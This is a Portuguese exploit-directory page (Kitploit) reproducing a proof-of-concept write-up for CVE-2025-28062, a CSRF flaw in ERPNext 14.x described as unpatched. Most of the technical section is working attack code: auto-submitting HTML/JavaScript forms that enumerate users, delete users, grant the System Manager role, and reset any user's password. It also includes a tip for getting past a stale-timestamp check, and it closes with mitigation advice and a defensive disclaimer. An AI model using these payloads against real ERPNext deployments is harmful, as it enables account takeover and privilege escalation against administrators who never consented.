Skip to content
KitploitKITPLOIT
FerramentasBlog
Enviar
FerramentasBlog
Enviar

Ferramentas de Hacking, PenTest e Cibersegurança para o seu Arsenal de Segurança!

Kitploit é um diretório de ferramentas de hacking, cibersegurança e pentesting. Descubra as últimas atualizações de projetos para encontrar vulnerabilidades, analisar sistemas, automatizar testes e fortalecer sua segurança.

··Feeds·Contato·Privacidade·© 2026 Kitploit

Diretório de Ferramentas

Categorias

Ver todas as categorias
Loading categories
CVE-2025-28062 — prova de conceito | Kitploit
Ferramentas/GitHubGitHub/thvt0ne/cve-2025-28062
Escalada de PrivilégiosAnálise de VulnerabilidadesExploraçãoExploração de Aplicações WebTestes de PenetraçãoAprendizado e Educação
GitHubthvt0ne/cve-2025-28062

CVE-2025-28062

prova de conceito

Ver Repositório
2há 1 anoAinda não revisado

Mais Populares

Ver todos →

Descubra as ferramentas mais usadas pela nossa comunidade.

Explore todas as ferramentas

Navegue pela nossa coleção de ferramentas

Ver todas as ferramentas →
Compartilhar

CVE-2025-28062 — Vulnerabilidade de CSRF para Assunção de Conta em ERPNext 14.82.1 , 14.74.3

📌 Resumo

Uma vulnerabilidade de Cross-Site Request Forgery (CSRF) foi descoberta em ERPNext 14.82.1 e 14.74.3, permitindo que atacantes executem ações não autorizadas, tais como:

  • Enumeração de usuários
  • Assunção de conta (redefinição de senha)
  • Exclusão arbitrária de usuários
  • Escalação de privilégios (adição de funções)

A vulnerabilidade decorre da falta de proteção CSRF em endpoints administrativos críticos da API. Se um administrador autenticado visitar um site malicioso, sua sessão é explorada para executar essas ações sem consentimento.


🛠 Detalhes Técnicos

  • Tipo de Vulnerabilidade: CSRF (CWE-352)
  • Produto Afetado: ERPNext
  • Versões: 14.82.1, 14.74.3
  • Gravidade: Alta
  • Pontuação CVSS v3.1: 8.1
  • Status: Não corrigida
  • Descoberta por: Ahmed Thaiban Thvt0ne.
  • Data da Descoberta: 2025-02-09
  • ID CVE: CVE-2025-28062 (Reservado)

🚀 Provas de Conceito (PoCs)

1. Enumeração de Usuários

root@kitploit:~
<form method="GET" action="http://localhost:8080/api/method/frappe.desk.reportview.get">
  <input type="hidden" name="doctype" value="User">
  <input type="hidden" name="fields" value='["name", "user_type", "enabled"]'>
  <input type="hidden" name="view" value="List">
  <input type="hidden" name="page_length" value="100">
  <input type="submit" value="Submit">
</form>
<script>document.forms[0].submit();</script>

2. Excluir Usuário

root@kitploit:~
<a href="http://localhost:8080/api/method/frappe.desk.reportview.delete_items?items=%5B%221%401.com%22%5D&doctype=User">
  Click to delete user
</a>

3. Adicionar Função Privilegiada a Qualquer Usuário

root@kitploit:~
<a href="http://localhost:8080/api/method/frappe.desk.form.save.savedocs?doc=REDACTED_PAYLOAD&action=Save">
  Add "System Manager" role to user
</a>

💡 Consulte o payload JSON completo no repositório: /PoCs/privilege_escalation.html


4. Alterar a Senha de Qualquer Usuário

root@kitploit:~
<!DOCTYPE html>
<html>
<head>
    <title>CSRF Attack</title>
</head>
<body>
    <script>
        function performCSRF() {
            // Target API URL
            var targetUrl = "http://localhost:8080/api/method/frappe.desk.form.save.savedocs"; 

            // JSON Payload
            var jsonPayload = JSON.stringify({"name":"[email protected]","owner":"Administrator","creation":"2025-02-09 03:50:24.709718","modified":"2025-02-09 09:49:02.334015","modified_by":"Administrator","docstatus":0,"idx":0,"enabled":1,"email":"[email protected]","first_name":"sdfvfvdfv","full_name":"sdfvfvdfv","username":"sdfvfvdfv","language":"en","time_zone":"America/Adak","send_welcome_email":1,"unsubscribed":0,"mute_sounds":0,"desk_theme":"Light","search_bar":1,"notifications":1,"list_sidebar":1,"bulk_actions":1,"view_switcher":1,"form_sidebar":1,"timeline":1,"dashboard":1,"new_password":"User123!@#","logout_all_sessions":1,"reset_password_key":"e801df93fa208e01314c981192fa842e63838d13bd75a76cba97d005d9eee513","last_reset_password_key_generated_on":"2025-02-09 03:50:25.700259","document_follow_notify":0,"document_follow_frequency":"Daily","follow_created_documents":0,"follow_commented_documents":0,"follow_liked_documents":0,"follow_assigned_documents":0,"follow_shared_documents":0,"thread_notify":1,"send_me_a_copy":0,"allowed_in_mentions":1,"simultaneous_sessions":2,"login_after":0,"user_type":"Website User","login_before":0,"bypass_restrict_ip_check_if_2fa_enabled":0,"onboarding_status":"{}","doctype":"User","roles":[],"defaults":[],"block_modules":[],"social_logins":[{"name":"qvh4mjk9r2","owner":"Administrator","creation":"2025-02-09 03:50:25.190297","modified":"2025-02-09 03:50:25.190297","modified_by":"Administrator","docstatus":0,"idx":1,"provider":"frappe","userid":"575ca3b88fc3d1fa8d2d7f419b0af0f156ff912","parent":"[email protected]","parentfield":"social_logins","parenttype":"User","doctype":"User Social Login"}],"user_emails":[],"__onload":{"all_modules":["Accounts","Assets","Automation","Bulk Transaction","Buying","CRM","Communication","Contacts","Core","Custom","Desk","EDI","ERPNext Integrations","Email","Geo","Integrations","Maintenance","Manufacturing","Portal","Printing","Projects","Quality Management","Regional","Selling","Setup","Social","Stock","Subcontracting","Support","Telephony","Utilities","Website","Workflow"]},"__last_sync_on":"2025-02-09T14:20:52.310Z","__unsaved":1});

            
            var encodedPayload = (jsonPayload);  

            // Create and submit the form
            var form = document.createElement("form");
            form.method = "GET";
            form.action = targetUrl;
            form.enctype = "application/x-www-form-urlencoded";  

            var input = document.createElement("input");
            input.type = "hidden";
            input.name = "doc";  // Correct parameter name
            input.value = encodedPayload;  // Correct encoding
            
            var input2 = document.createElement("input");
            input2.type = "hidden";
            input2.name = "action";  // Correct parameter name
            input2.value = "Save";  // Correct encoding
            
            
            form.appendChild(input);
            form.appendChild(input2);
            document.body.appendChild(form);
            form.submit();
        }

        // Execute CSRF after waiting to ensure cookies are set
        setTimeout(performCSRF, 3000);
    </script>
</body>
</html>

Esta imagem simula que o administrador acessou qualquer site malicioso: imagem

Nota: se o timestamp de Modified for antigo, o site pode exibir esta mensagem: imagem

e para contornar isso, use a página html http:// localhost:8080/api/resource/User/[email protected][owner] e obtenha o timestamp de Modified (para facilitar o PoC).

imagem

Altere-o no conteúdo da página para que seja o mais recente :

imagem

Depois de enviar, ele alterará a senha do usuário!!.

imagem

Se um usuário administrador autenticado visitar esta página web, a sessão dele será usada para executar a requisição de alteração de senha da conta sem qualquer interação do usuário.


🧪 Cenário de Exploração

Um atacante hospeda uma página maliciosa. Se um administrador do ERPNext visitá-la enquanto estiver conectado, o navegador dele disparará automaticamente requisições forjadas para o ERPNext, causando modificações ou exclusões de contas sem o seu conhecimento.


🔐 Recomendações de Mitigação

  • Aplicar tokens CSRF em todos os endpoints que alteram estado
  • Não permitir requisições GET para ações como salvar/excluir
  • Marcar cookies de autenticação com SameSite=Strict
  • Exigir reautenticação para ações críticas (ex.: alterações de senha, mudanças de função)

🔗 Referências

  • ERPNext GitHub
  • Ahmed Thaiban – LinkedIn
  • Guia CSRF da OWASP

🙏 Agradecimentos

Descoberta por Ahmed Thaiban Thvt0ne.


📢 Aviso Legal

Esta pesquisa destina-se apenas a fins defensivos. O objetivo é conscientizar e incentivar práticas de desenvolvimento seguro.

Baixar ferramenta